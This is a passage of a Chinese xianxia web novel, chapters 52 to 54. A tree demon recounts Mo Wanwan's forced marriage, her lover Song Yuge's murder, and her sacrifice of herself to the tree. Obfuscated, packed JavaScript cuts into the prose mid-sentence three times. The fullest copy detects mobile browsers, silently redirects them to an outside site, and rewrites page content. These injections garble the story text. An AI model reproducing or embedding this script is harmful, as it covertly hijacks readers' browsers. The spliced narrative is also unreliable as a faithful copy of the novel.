莫婉婉站在千花河的石栏旁,仰起脸看向西边那一轮盛大的落日。 身后过桥行人的只言片语时不时随晚风传入耳中,尽管刻意压低声线,她也听出那话里的艳羡、暗讽、甚至嗤之以鼻。 红霞漫天,烈火般的霞光烧过天际,在她的脸上泼洒出旖丽的光。 莫婉婉眼帘半阖,乌黑的眼珠中不见往昔的一丝神采,整个人像是失了活气的塑像。 她走下桥,步伐僵硬而轻慢,再也没有三个月前那种少女独有的灵动与娇俏。 沿着河畔一路向南走去,房屋渐少,人烟稀疏,道路的尽头,只有一片接连一片的花田。 莫婉婉也想不起来现在是否还在花开的季节,她的脑筋有些混沌了,记性也越来越差,如今出了府门也不知该去何处,只是漫无目的地迈着步子。 潘府的侍卫见状,抬手拦住她的路,恭敬道:“夫人,再往南就太远了。天色已黑,请夫人快些回府吧?” 莫婉婉顿住了步伐,迟钝地思索了片刻,才仰头望他:“天色哪里黑了,你不要乱讲。” 侍卫有些尴尬:“太阳已经落下去了,夫人。” “那我也要去,我已经被关在你们侯爵府半个多月了,如今出来走走还要被你们看着吗?”莫婉婉赌气似的,“回头你们小侯爷问起来,就说是我非要去的,不就行了?” 侍卫有些为难,莫婉婉伸手一指河面:“你若不让我去,我立刻就从这里跳下去!” “属下不敢!”侍卫急得满头大汗,慌忙给身后人使眼色,叫人快回府禀报。随即,他低头道:“夫人若真想去,属下不敢阻拦。” 莫婉婉的心跳如擂鼓:“那你不要跟着我!” 侍卫的头没抬起来过:“属下不敢。” 莫婉婉总算安心了。她提着裙角小跑了一段路程,总算借着行人的遮挡甩开了一应侍卫的“保护”。再往前就要到花田了,莫婉婉干脆加快步伐,一鼓作气跑到了花田中。 夏末时节,繁花早已被毒辣的日头晒得枯萎衰败,如今已只剩下蔫吧的枝叶了。 花田万顷,却空无一人,唯有日间的暑气蒸腾爆发。 汗水从额间淌了下来,莫婉婉气喘吁吁地在衰落枯萎的花丛里奔跑,裙摆被花枝划破了,“嗤”地一声响,她也恍然不觉。 越跑越是开心,她忽略喉间涌上的血腥味,唇边慢慢绽开生涩的微笑,笑容愈发扩大,最后她纵身奔跑在枯萎的花田中,嗓音嘶哑地大笑出声。 花田里立了一座八角亭子,她顾不得亭子里是否肮脏,随意坐下之后,颤抖着手指从荷包里取出一只锦囊来。 三支竹签,签子的正中,以小篆刻出一个小小的“雨”字。 那笔字映入眼帘的一瞬间,莫婉婉的眼珠终于亮起一点光,轻声念道:“雨阁,雨阁。” 她枯瘦的手指颤抖着,攥紧那支竹签,像是溺水之人抓住了救命的稻草。 她点燃了第一支竹签。 宋雨阁来到的时候,莫婉婉抱着双膝,眼睛并不聚焦地望着某处,正在出神。 她穿着一身描金的襦裙,乌发间戴着闪光细碎的金花宝簪,浑身堆金砌玉像是锦绣丛中养大的人。可她的唇角却下意识地向下撇着,眼睛也丝毫光彩都没有,乌黑得像是一片吞噬人心的渊。 短短半个月过去,她怎么变成这个样子了? 她为何又回到了金璧城? 宋雨阁不明所以地皱起眉:“莫姑娘。” 莫婉婉抬眼,脸上笑容还有些生涩:“宋道长,你来啦?” 这竹签本是让她遭遇危险时,应急用的。可是她此刻既不寒暄,也没有讲自己遇到了什么危险,只是伸手指着亭外那片只剩枯枝的花田,声音轻得像是梦呓:“你看,这些花都死了。” 宋雨阁只看了一眼,很快收回视线,眉头仍旧皱得很紧:“没有死,只是晒得有些缺水。而且,现在已是夏末,并非开花的季节。” 莫婉婉点点头,眼中已经蓄了晶莹的泪珠:“所以,我们出门在外的那段时日,才是开花的季节。” 宋雨阁颔首:“是。” 他的目光落在莫婉婉含泪的眼睛里,轻声问:“莫姑娘,你是遇到了什么事吗?” 莫婉婉摇头,什么都不说,只是抱着膝盖看他。 片刻后,才很小声地请求道:“你能让这些花活过来吗?我想再看一次。” 宋雨阁拧起眉,担忧地望着她:“可以。” 他拂尘一挥,相连的花骤然开放,一片粉蓝色的海。 “……是绣球花。金璧城外竟有这么大的绣球花田?” 莫婉婉很是意外,她探身摘了一枝花,捧在手心里细细嗅着,神情里久违地有些灵动,有些得意,“我只摘一朵,希望花田的主人不要怪罪我。不对,他应该感谢我呢,若非我请宋道长来,这里的绣球花怎么会开第二次?” 说到最后,故意抬眼看了宋雨阁,乌黑的眼珠里露出狡黠的笑意。 宋雨阁听着她喃喃自语,颇有些从前那股机灵的模样,忍不住低头笑了一下,乌黑的冠带在风中飘飞,像是一笔浓墨。 “呀,”莫婉婉将半张脸埋在花束里,惊讶道,“你行过加冠礼啦?” 宋雨阁“嗯”了一声,莫名有些不好意思。 “真巧,我后天也要成婚了。”莫婉婉轻轻地笑,满脸却掩不住的悲意,“虽然这两件事没什么关系。” 宋雨阁的眼眸颤了一下,状似不经意地问道:“和谁?” “侯爵府的小侯爷,潘淳玉。”莫婉婉道。 宋雨阁的脸色变了:“你不是……” “我想通了嘛。”莫婉婉低头道,“我有点口渴,你再给我变几个水果来。” 宋雨阁压着眉宇间的不解,轻声问道:“想吃什么?” 莫婉婉想了一会儿:“橘子。” 眨眼的功夫,宋雨阁就捧给她几只橘子。莫婉婉以“手里拿着绣球花,没地方放橘子”为由,非要宋雨阁展袖替她兜住。 于是,堂堂渡真世家的家主之弟,就这么任劳任怨用衣袖给她兜着几只青橘。 那渡真世家独有的泼墨山水纹,还被委委屈屈地压在了下面。 莫婉婉好像对成婚一事毫不在意,边吃边四处打量着,也不许宋雨阁开口多问。她指着亭外一株快要枯死的槐树,好奇道:“这棵树是真的要死了,对吗?” 宋雨阁的视线在那棵槐树身上停顿片刻,忽然皱眉道:“嗯。” “那你有办法救活它吗?” 宋雨阁这次拒绝得很干脆:“不能。” 不是“没有”,而是“不能”。 “不能?为何呢?”莫婉婉惋惜道,“怪可惜的,这棵树得有百年树龄了吧?冠盖这么大。你的修为这么高,真的没有办法救活它吗?” 宋雨阁沉默片刻:“有办法。只要以身祭树,以自己的血肉之躯去供养它,用不了多久,它就会好转起来。” 莫婉婉没想到还有这般方式,讷讷道:“那还是算了。” 宋雨阁又看了那棵槐树一眼,声线陡然压沉:“你不要处处好心。” “知道了知道了,我随口一问嘛。” 过了一会儿,宋雨阁问道:“这桩婚事,你是怎么想的?” 莫婉婉怀里抱着那一枝绣球花,两只手忙碌地剥着橘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫婉婉将最后的橘子皮放在他的掌心里,直到此刻,她才肯与他对视。 宋雨阁抬眼看她,眼中没有半点笑意:“你叫我来,就为了吃个橘子?” 不是和我一起走? “对啊,当然是为了吃橘子,不然还能是什么?”莫婉婉提着裙子出了八角亭,踏至最后一步台阶的时候,她转过身,对宋雨阁笑了笑,“上次在青蔓镇分别时,你走得好干脆,不带半点留恋的。这次就换我说告辞吧,宋道长。” 破败的八角亭中,宋雨阁站在滴水檐下的长凳,臂挽拂尘,眉眼沉静,泼墨山水纹的大袖与乌黑的冠带一同飞扬在碎金般的落日余晖中。 八角亭上,一块破旧的黑色牌匾上镌写了三个大字:“千秋亭”。 她抬手遮住了过于刺眼的落日霞光,那双乌黑的眼睛隐在阴影中,看不清眼中的情绪。 骗你的,不是为了吃橘子,也不是为了求你带我走。 只是想见你。 宋雨阁真好。在她以往贫瘠的十七年里,宋雨阁是她见过的最沉稳温和的少年,如雨如雾,静水流深。 可惜。 莫婉婉唇角微弯,好像是笑了:“宋道长,山遥水远,后会无期。告辞!” - “我给你挣来诰命,全天下的女子有几人比你更尊贵?你还不满意吗?” 潘淳玉一脸恼怒:“后天就是你我大婚的日子,你在这种时候跑出去和一个男子私会,叫满城的人都看我的笑话!你让我的脸面往哪里放?” “你生气了?”莫婉婉一脸的好整以暇,“那婚约作废,好吗?” “你想得美。”潘淳玉冷冷地看着她,片刻后,突然出声问,“他到底有什么好?” 莫婉婉扭过去脸,不看他:“他样样都比你好。” 潘淳玉顿时被她气得脸都红了:“好,好!那你以后就慢慢回忆他的好吧,总之从今往后,你们都不会有机会见面了。” 侯爵府门前的绣球花开了。 莫婉婉端坐在血红的婚轿中,鬓发间的珠翠随轿身的晃动而轻轻摇摆,覆面的盖头遮住了她的视线,眼前唯见泼天的红。 她偷偷地将轿帘挑起一道缝隙,窗外的天光透进来。道旁的百姓真多啊,各个喜气洋洋,满面红光,倒比她这个新娘子更高兴些。莫婉婉咬着牙,眼里心里俱是一派灰暗。 外头嘹亮的高喊响起,是侯爵府已经到了。就在她将要放下轿帘的一瞬间,手腕忽地一僵,随即,她的眼中露出了难以置信的神色。 宋雨阁端立在鼎沸的百姓当中,一张脸白得好似冰雪。他的视线落在轿帘上,恰好撞上了莫婉婉充满哀戚的目光。 这场对视仅是短暂的一瞬。宋雨阁很快将视线投在了前头骑着马的潘淳玉身上。 潘淳玉察觉到这道不甚友善的视线,扭过脸去,终于看清了宋雨阁的面容。 片刻后,他忽地冷笑一声,眼眸杀意弥漫。 52. 封窗 “刚成婚的那段时日里,他们过得还算平和。”槐妖轻声道,“因为在莫婉婉看来,这种生活倒和死了没什么两样。” 此话一出,厅中众人全都沉默了。 潘淳玉的相貌在整个金璧城中也是出了名的好,她自从嫁进侯爵府就是诰命加身,千般宠爱。这般尊贵得羡煞旁人的身份,这样俊朗又会疼人的郎君,这般富贵日子,对于莫婉婉而言却和死了一样。 可见,婚嫁这种事不过是如人饮水,冷暖自知。 叶清圆对于这种以软肋相胁、逼人成婚的下作手段嗤之以鼻。她皱起眉,端丽的眼眸中露出了厌弃鄙夷的神色,同时轻哼了一声。 这声音极轻,唯有站在她身旁的谢尽芜听了个清楚。他站在半开的支摘窗前,肩头清透的日光流淌。黑润的眼眸微微颤了一下,像是深潭底部冷水涌动,叫人猜不透在想什么。 “归根结底,这桩婚事是潘淳玉强逼来的!他用权力和地位逼莫婉婉留在他身边,又妄想什么举案齐眉、琴瑟和鸣?”槐妖的脸容逐渐幻化成了莫婉婉的模样,“强扭的瓜不甜!这种浅显的道理连我都懂,潘淳玉会不明白吗?” 谩骂的声音里掺杂着仇恨与癫狂,在场的丫鬟和侍卫听到这些话,个个如芒刺背,恨不得当场耳聋了才好。潘璞玉也不愿让这些话被下人们听了去,抬袖一挥,叫他们都退下。 “他只是不肯放手罢了。”槐妖的眼眶里流出两行泪水。 这是莫婉婉的泪水。 “他是被你们惯坏了的孩子,从小要什么有什么。一旦遇到了自己想要的东西,就千方百计、不择手段要得到。纵使他明知莫婉婉的心里根本没有他!” “更何况,还有崔老夫人从中百般刁难!” - 深秋,桂花开了满院,干燥的冷风呼啸着吹过,树顶枯叶簌簌落了满地。 冷意一阵一阵泛上来,莫婉婉坐在廊檐下的美人靠上,手中捧着一只暖手炉,半边身子都被风吹得凉透了。 她怕冷得很,人也愈发消瘦,寡白的一张小脸缩在围脖后头,粉黛不施,愈显憔悴可怜。那双乌黑的眼睛里半点光采也没有,是两汪死透了的水。 潘淳玉在她身旁坐下,将她冰凉的手拢在掌心,轻声道:“婉婉,你怎么一点都不开心?” 莫婉婉用力挣脱他,沉默不语。 “母亲方才说那些话不是有意的。”潘淳玉低着头,“她只是……” “‘行事不端、不知检点’。这不是老夫人的原话吗?你又何必绞尽脑汁地为她开脱?”莫婉婉的嗓音有些沙哑,一行清泪流了下来,“她嫌弃我是罪臣之女,总瞧不上我,想要将我逐出侯爵府,这倒也罢!总归我根本不愿嫁进你们家,若真能和离,从此一别两宽,各自安好。可她又为何总在外抹黑我的名声?” 潘淳玉垂着颈子,不知该如何作答。 莫婉婉气得浑身颤抖:“这些话无论是当着我的面讲、还是说给下人们听,都已经是极为不妥了。老夫人又何必次次都与贵妇贵女们‘诉苦’去呢?说什么我总对别人念念不忘,甚至暗中出城与别的男子私会。这种空穴来风的话放在谁身上都是极大的侮辱,偏她却自己放出消息,叫满城的人都看我的笑话!” 潘淳玉沉默半晌,低声问:“那你的心中,可是真的另有他人?” “这个答案,在你我成婚之前,你不是都清楚了吗?”莫婉婉睁大双眼。 潘淳玉咬紧了后槽牙,忍耐住胸中沸腾的怒意:“我说过,你和那个道士根本就不可能。” 莫婉婉垂着眼,神情逐渐麻木。 潘淳玉难得见她没有反驳,一时心下也软了些,“婉婉。” 莫婉婉沉默了一会儿,眼睫忽然颤动,轻声道:“潘郎。” 潘淳玉从未听她如此唤过自己,狂喜袭上心头,他凑上前去想要轻吻她的脸颊。 胸口蓦地传来一阵刺痛。 他低下头,一柄雪亮的短刀刺透了他的衣袍,插.进了他的胸前。 “我不在乎和他有没有可能。你若真的爱我,就同意和离。”婉婉漠然地与他对视,“这么久了,你也该闹够了吧?” “闹?我们成婚这么久,你当我只是胡闹?” 剧痛之下,潘淳玉毫不费力地捏断她的手腕,拔出短刀扔在地上,冷哼道:“莫婉婉,当初若非我救下你这条命,你可知自己现在已经沦落到了何处?!” “不就是为奴为妓吗?那又如何!”莫婉婉脸上泪痕未干,乌黑的眼眸中恨意弥漫,她的神色有些癫狂之态,“若你认为我欠你的,那我便将这条性命赔给你就是!总归要比待在你们身边受辱强过百倍!” “你做梦!”潘淳玉掐着她的下巴,恨声道,“你想都别想!你是不会死的,我也不会死。还有,你不是心里有那个小道士吗?他更不会死。我要他眼睁睁看着你我二人白头偕老、儿孙满堂!” - 莫婉婉病倒了。 崔老夫人再也难以忍受这个“不知检点”的儿媳,以“清幽之处便于养病”的由头,将她关在了府中最为偏僻破败的竹林小院。 对外宣称,莫婉婉已经疯了。 清晨时分,金璧城下了今冬的第一场雪。 莫婉婉歪在榻上,扭头向窗外看。外头天寒地冻,雪花扑簌簌地飘。屋檐滴水倒垂着细长的冰棱,竹枝上覆盖了薄薄的一层雪,绿叶衬新雪,倒是好看得煞人。 屋内同样阴冷,府中的下人惯会瞧眼色,知晓莫婉婉早已遭了老夫人的厌弃,便故意不给她炭火。小彤蹲在已经冷透的炭火盆前,心急又难过,眼泪不住地往下掉。 莫婉婉浑不在意这些,她强撑着从冷透的床榻上坐起身来,唤道:“小彤,扶我出去看看雪吧。” 推开门,当头就是一阵裹着雪的冷风,莫婉婉被吹得踉跄半步,险些没有站稳。 外头真冷,雪花扫在脸上像是有刀在割。她踩在松软的积雪上,在竹林里慢慢地绕,让清新的冷风灌满她的胸腔,纵使脸颊、手指都被冻红了也不在乎,冻僵了的脸上甚至露出了满足的笑意。 她说:“小彤,你跟着我,真是吃了许多的苦。” 小彤摇摇头,心疼道:“夫人,我们快回去吧,待会冻得发烧了可不好了。” 莫婉婉怔怔地却不答,沉默一会后,她顿住脚步,脸上久违地露出笑容:“小彤你听,有小孩子在说话呢。我好久没听过小孩子的声音啦,我们听一听好吗?” 小彤握紧她冰冷的手,犹疑一瞬,终究是点头道:“好。” 隔着一道院墙,外面是一条狭窄的青石小巷。 这条小巷平日里鲜少有人经过,此时却传来很轻的说话声,嗓音稚嫩,约莫是七八岁小孩的声音:“……这便是侯爵府吧?我从前还从未走过这条路呢。哎,听说这里头有个疯子,是不是?” 另一道声音更稚嫩:“管他什么疯子不疯子的,我们快些走就是了,别吓到妹妹了。” 他话音刚落下,怀里的小孩骤然放声大哭起来,像是看见了什么恐怖至极的景象。两人慌忙哄劝着安慰她,边哄边低骂:“叫你别提什么疯子,看把妹妹都吓哭了!还不快走!待会那疯子出来可就不得了啦!” 莫婉婉脸上的笑意僵住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶清圆听明白了。这位潘大少爷根本不在乎崔老夫人和潘璞玉曾闹出多少风波,更不在意莫婉婉受了多少委屈与侮辱。他唯一要做的,就是让这桩会抹黑侯爵府名望的“丑事”,永远地被埋藏下去。 所以,槐妖所说的,必须是凭空捏造。 叶清圆思索一瞬,问槐妖道:“潘二公子不是很珍爱莫婉婉的吗?为何莫婉婉生病、被关入竹林宅院的时候,都不见他的踪影?” 她委婉道:“莫非潘二公子那时并不在府中,并不知晓这些事?” “他当然在!他嫌恶莫婉婉身上的病气,却跑去鉴花楼与一名唤作绘弦的琵琶女不清不楚!谁人不知,那绘弦的模样与莫婉婉可是有七分相似!” 叶清圆垂下眼,果真,绘弦不过也是莫婉婉的代替而已。 槐妖冷笑一声:“可那绘弦又何曾是个省油的灯?她自以为潘淳玉对她是真心相待,竟还刻意去模仿莫婉婉的习惯与喜好,还摆起了侯爵府夫人的架势,俨然把自己当成了第二个莫婉婉!” “那绘弦又是怎么死的?也是你下的手吗?” “我才不屑于对这般头脑糊涂的女人出手!”槐妖尖声道,“潘淳玉哄骗她饮下那所谓的合欢酒,却在酒中下了剧毒!她连自己的死都不明不白,还妄想取代莫婉婉上位吗?” 叶清圆听得脑仁发疼:“潘淳玉对莫婉婉所遭受的苦痛,竟视而不见了。” 槐妖颤声道:“他只是痛恨宋雨阁让他的脸面蒙羞而已。事情发展到那种地步,他对莫婉婉那微乎其微的爱还有什么用?只可叹他已被憎恨蒙蔽了心智,竟妄想杀了宋雨阁。” 53. 知恩 潘淳玉利用侯爵府的人脉,猛砸重金请来数十名修为有成的道士,准备围杀宋雨阁,永绝后患。 而后,他以一支沾血的银簪,骗来了远在渡真世家的宋雨阁。 他的理智此时已全然被妒忌和怒火烧得干净。莫婉婉的病是否好转已经不重要了,他只知道是宋雨阁的阴魂不散才叫他的妻子半年来神思不属、怏怏不乐,是宋雨阁的多次纠缠才让他的脸面荡然无存。 崔老夫人对于潘淳玉的这种转变当然是乐见其成。她吩咐云珠去往莫婉婉的药里加些东西,让她走的时候也少受些苦楚。 至于莫婉婉的贴身丫鬟小彤呢,崔老夫人却要留她一命,还要好好安顿小彤的家人。 毕竟侯爵府极为看重自己的清誉,不可叫外人以为他们堂堂侯爵府竟会虐待下人。 半日后,宋雨阁来到了金璧城。 城郊的青石小道上,宋雨阁臂挽拂尘,冷冷睨着远处的潘淳玉,以及他身后的所谓“道士”们。 天色阴沉灰暗,道路两旁的枯木伸展着枝桠,细瘦的枯枝在灰白的雪幕中显出一种嶙峋狰狞的锋利。 地面覆盖的一层雪早已被人清扫过,露出泥泞脏污的青石砖道。 宋雨阁就这么站在道路的正中,泼墨山水纹的衣袖在冷风中摇摆,浑身也是素雅的黑白两色。 他的面容冷肃,清瘦的身影嵌入飘飞的雪幕当中,仿佛要与之融为一体。 宋雨阁在看到潘淳玉的一瞬间,就明白自己踏入了他陷阱之中。然而事态发展到此,也不得不应变下去。 他孤身和十二名道士交手,缠斗了将近半个时辰,才将这些人击退。他心中清楚,这些所谓的“道长们”也不过是拿人钱财、替人办事,因此处处留意,尽力控制出手的力度与分寸,避免真的伤及性命。 潘淳玉眼睁睁看着他重金请来的道长们被打得落花流水,眼中的张狂之意终于收敛。 他抬起眸,挑衅似的低声问道:“你要杀我吗?” 宋雨阁将拂尘随手插.进后腰的墨色衣带,呼出的气息裹着白雾袅袅上升:“莫婉婉呢?” 潘淳玉的眼神蓦地怨恨阴毒起来:“你还要去见她?” “我要确认她是否平安……” 话音未落,簌簌飘落的飞雪骤然出现一瞬的凝滞! 周身气流霎时如浪潮翻涌,身后一名道者倏然出手,掌心裹挟霜雪之气直冲着他的心口袭来! 乌黑的发尾被风吹起,宋雨阁的眼眸瞬间睁大,抬袖回身,宽袍大袖在惊飞的雪幕中一晃而过,宛如浓墨泼洒出一道利落的弧线。 他根本来不及抽出拂尘格挡,手腕凝聚气劲,腿弯微屈,正要趁势后撤半步,躲过这场偷袭。 那人察觉到他的意图,唇边竟绽开一抹笑容。随后,掌心蓦地下压,五指收拢抓住他抬起的手腕,狠狠一拧! ——“喀拉!” 宋雨阁的手臂和腕骨被当场拧碎! 身后的潘淳玉冷哼一声,从袖笼中取出一支短刀,直直捅进了宋雨阁的后心里! 他的手腕用力旋转,拧着刀把,锋利的刀刃搅碎了血肉筋骨,令人毛骨悚然的声响荡在这幽寂的青石小道。 宋雨阁的双眼满是难以置信的神色,口鼻中涌出大量的鲜血。他挣扎着抬起眸,想要看清来人的面容,入眼却只见一个银制的面具。 殷红的血染透了他的衣袍,滴落在青石道上,与砖缝里脏污泥泞的雪沫子融化在一处。 潘淳玉冷笑着抽刀,鲜血霎时随风飞溅。他抬脚用力在宋雨阁的背上踩了一脚,宋雨阁双膝一软,跪在了满地的鲜血上。 “这刀真好用啊,不愧是世家的珍宝。”潘淳玉的唇边满是掩饰不住的得意,“杀你,易如反掌!” 宋雨阁跪在泥泞的雪地里,满面血污,被血液粘稠成一缕的发梢沾满雪花。 他双目大睁,瞪视着眼前戴了面具的男人:“你……你……” 那脸戴银制面具的男人端然立在朦胧的雪幕中,素白的衣袖随狂风摆动。 “我?”他似乎是笑了一声,“当初你非要师姐杀了我的时候,可想过能有今天?” 宋雨阁蓦地呛出一口血,扑倒在地。 “听说你和婉婉曾在那里私会过,”潘淳玉抬手一指不远处的长亭,“既然如此,你们也在那里见最后一面吧。” 他用刀背拍了拍宋雨阁的脸颊,轻蔑笑道:“我把她送出来,让她和你一起私奔好不好?” 宋雨阁的眼眸中满是震惊与唾弃,他动了动唇,似乎是想说些什么,可是喉间鲜血涌得太快太急,他被呛得半个音节都发不出。 潘淳玉呵呵笑着,随即笑容骤然收敛,怒声吩咐道:“把夫人带出来!” - 千花河畔的红梅开了。 寒冬深夜,雪下得愈发大了,长长的街道空无一人,清冷的月光洒下来,前方好像没有尽头。 莫婉婉走在冰冷的青石道上,单薄的衣裙破败脏污,迎面而来的冷风里裹着冰碴子,尖刀一样凿在她满是泪痕的脸颊上。 侍卫举着火把走在她身后,火光照映她瘦削枯槁的脸颊。 “我要去哪儿?”莫婉婉哑声问,“如果不是什么重要的地方,就算了吧,我现在没什么力气。你们若想杀我,直接来一刀就是,我不会反抗的。真的不必这般刻意折辱我。” 侍卫低声道:“二少爷特意吩咐的,一定要你亲自前往。” “……哼。”莫婉婉闭上眼睛,脸上的泪痕被刺骨的冷风吹干了,任何细微的表情都引发皮肉撕扯般的疼痛。 好在她衣衫单薄,很快就要冻得失去知觉了,这点风刀霜剑的痛楚可以忽略不计。 半个时辰的路程,莫婉婉越走心头越是奇怪。当她见到远处那座破败的八角亭时,冰冷苍白的唇不住地颤抖,憔悴的脸上满是震惊之色。 宋雨阁头颅低垂,满面血污,泼墨山水袍被殷红的血染透,整个人像是从血池里捞上来的一尊玉像。 “啊——!啊啊!”莫婉婉浑身颤抖着,嘶哑的喉咙中发出惨痛的令人毛骨悚然的尖叫! 她挣脱侍卫的搀扶,不顾地上的冰雪与碎石拼命奔跑过去,踉跄着扑在了宋雨阁的身前。 侍卫也不忍再看这惨状,垂着头轻叹一口气,将火把留在了亭中,转身离去。 他的任务到此为止,接下来这二人是死是活,都不是他该管的。 莫婉婉颤着手去抚摸宋雨阁早已冷透的脸颊,本来温热的血在他的脸上凝成一片血色的霜花。她的手指早已被冻得僵硬,失去了知觉,如一块冰触到他的脸上。 她缓慢地低下头,将脸颊埋在他被血染透的胸口,滚烫的眼泪渗进他心口的刀伤。 “你怎么会变成这样?你不是很厉害的吗?”莫婉婉崩溃地哭喊道,“说了我的事跟你没有任何关系,你到底为什么还要回来?!” 她用力推着宋雨阁已经僵硬的手臂,嘶哑道:“我的事需要你插手吗?!用得着你这么好心?!” 呜呜的哭泣声响起,莫婉婉埋首在他手臂上,肩头不住地颤抖耸动。 宋雨阁的脸颊白得近乎透明。他活着是冰雪剔透般的潇潇君子,纵使死了,也是干净清秀的少年模样。 莫婉婉隔着模糊的泪眼望他,忽然笑了:“幸好你看不到我现在的这副模样。我好久都没有照过镜子了,现在怕是丑陋得像鬼魂吧?若你早知我形销骨立成这副模样,也会专程来救我吗?” 亭外的雪夹杂着冰,刀片一样吹进来,落在宋雨阁的肩头和手臂。莫婉婉浑身颤抖着,不住地用单薄的衣袖为他拂拭干净,柔软的袖口衣料甚至磨破了手腕,她也浑然不觉。 “这一切都是我招来的,都怪我。”莫婉婉给他擦拭了积雪,又去擦他脸上的血污,“当初我说好的不会拉你下水。可后来,却是我自己忍不住想要见你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445965|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才惹来这许多风波。” “会有人替我们收尸吗?还是就这样曝尸荒野?”她喃喃道,笑中带泪,“我们这一生,未免也太惨了。” 莫婉婉扬起脸,火把的光亮与清透的月光泼洒在她的脸上,皎白与明暖相映。她扶着长凳踉跄着站起身,忍住膝盖的剧痛,绝望地环视周遭。 时值寒冬,万物枯萎。眼前所见,死气弥漫。 视线蓦地一顿,她望向亭外那株即将枯死的槐树。 “你也要死了吗?真可惜。”莫婉婉叹息着,呵出的白雾旋即被冷风吹散了。 冷风吹过,槐枝轻颤。 她的脑海中蓦地浮现出一个念头。这念头有如狠狠凿在了她的神经,她苍白干燥的唇颤抖起来,旋即,整个身体也控制不住地发抖。 半晌,莫婉婉拖着破败染血的衣裙,虚脱地跪在了槐树下,扬首道:“我以血肉作祭,换你为宋雨阁收尸,如何?” - 潘府花厅,满室寂静。 槐妖蜷缩着跪在地上,苍白的面容上满是哀戚。 灯架旁,祁管事沧桑的脸上满是泪水,颤抖着声音道:“婉婉以血肉相祭……” “对。”槐妖抬起眼,“你们知晓那意味着什么吗?她被活埋在掺着冰雪的泥土里,我的根系要钻入她的心肺,穿透她的胸膛,将她的血肉筋骨都作为养分!这才有我的今天!” 它的声音里沾染怒意:“我既受了她的救命之恩,如何能对她过往的痛楚视若无睹,又如何坐视潘淳玉等人在此颠倒黑白、胡作非为!” 潘璞玉的神情阴冷:“你倒是知恩图报。” “妖并非无情无义,”槐妖嘲讽道,“总比不得某些人,薄情寡义,刻薄少恩。” 谢尽芜的神情冷静而理智,眼瞳是一如既往的漠然。他垂下眼帘,与叶清圆很快地对视一眼。 叶清圆端丽的眼眸眨了眨,她抬起手,指尖在谢尽芜的手心里轻轻划动,写了一个字。 她的力度很轻柔,樱桃般红润的指甲磕在他的掌心,柔嫩的手指也时不时触碰他,有些柔中带刚的触感。 谢尽芜只觉手心传来一阵痒意,辨清她写的字之后,与她四目相对,极轻地颔首。 叶清圆的眼眸微微带笑,对他们之间的默契感到很是欣慰。于是趁众人的注意力都在槐妖身上时,手指很轻地捏了捏他的虎口。 谢尽芜垂下眼帘,逃避似的松开了她的手。 “难怪我事后派人查找婉婉的下落,却始终一无所获。老夫人和二少爷竟还对外宣称,她是和宋雨阁私奔而去了!叫婉婉连死后都不得保全清白!” 祁管事咬着牙,扑通一声给潘璞玉跪下来:“大少爷,这件事如今清清楚楚,求大少爷还婉婉一个公道!” 潘璞玉的脸色黑得像锅底,眉宇间是压抑不住的燥郁:“祁叔放心,这件事我会亲自处理的。” 他转身望向谢尽芜,沉声问道:“谢公子可有什么想说的?” 谢尽芜沉思一瞬,淡声道:“这件事有两个疑点。” “其一,宋雨阁出身渡真世家,而且是家主顾九枝的亲师弟。潘淳玉纵使有天大的本事,也未必能找到渡真世家,又准确无误地把那支带血的银簪送到他的手中。” 他话音落下,疏离漠然的目光便盯准了潘璞玉,意有所指。 潘璞玉的神情一怔,眼神霎时变得清澈不少,征战沙场多年的气势竟被他这一眼压制住。 “其二,”叶清圆清了清嗓子,“依照竹林宅院所设的两道阵法来看,潘淳玉请来的道长们并没有多高的修为。而宋雨阁却是渡真世家顶尖的高手,他们到底是如何伤到宋雨阁的?” 潘璞玉也颔首认同:“嗯,确实有疑问。” “竹林宅院中的阵法,其中有一道是老夫人请了轻山观的道长们设下的。”祁管事出声道,“那些道长,恕老夫直言,不过是一群招摇撞骗的人罢了。” 54. 试探 潘璞玉咬牙深呼一口气,冷声道:“所以这些事的背后,还有一个人的存在?是他找到了渡真世家的宋雨阁,将银簪递给他。也是他亲手杀了宋雨阁?” “我们尚且不知道这个人是谁。”叶清圆补充道,“潘淳玉肯定知晓,只可惜他如今昏迷不醒。” “待他醒来,我会细细询问。”潘璞玉的视线落在槐妖身上,“你还有什么要说的吗?” “有。”槐妖阖上双眼,“潘淳玉和崔老夫人若是死了,也不过是罪有应得!” 潘璞玉的眼神骤然狠戾起来。他攥紧双拳,片刻后又松开,倦怠已极:“二位准备如何处置这只妖?” 叶清圆反问道:“潘公子认为呢?” “……随意。”潘璞玉挥了挥手。 叶清圆和谢尽芜对视一眼。 谢尽芜的手指微动,松开了对槐妖的捆缚,随后一道法印打入它的心口。 “你的半身修为已废,从此便安分些吧。” 槐妖捂住心口连连后退,眉头痛苦地皱起,随后噗嗤吐出一口鲜血来。 它颤抖着喘息,仍不忘记感激:“……多谢你。” 潘璞玉绕过屏风,走到日光泼洒的廊下,良久才呼出一口浊气。 祁管事抬袖擦干脸颊上的泪痕,低声道:“大少爷。” “这些年,你在府里属实辛苦了。”潘璞玉冷冷道,“也难为你忍受这么久。” 祁管事的眼眶中染上了红血丝:“先夫人对我有恩,若不是先夫人救下了我,我根本不会有今天。” 潘璞玉的视线落在乱红零落的杜鹃丛,片刻后,吩咐道:“父亲那边我自会去解释。你去办吧。” 祁管事垂着头称是,旋即告退。 这番话说得不避人,声音也并未刻意压低。倒像是有意叫人听清一般。 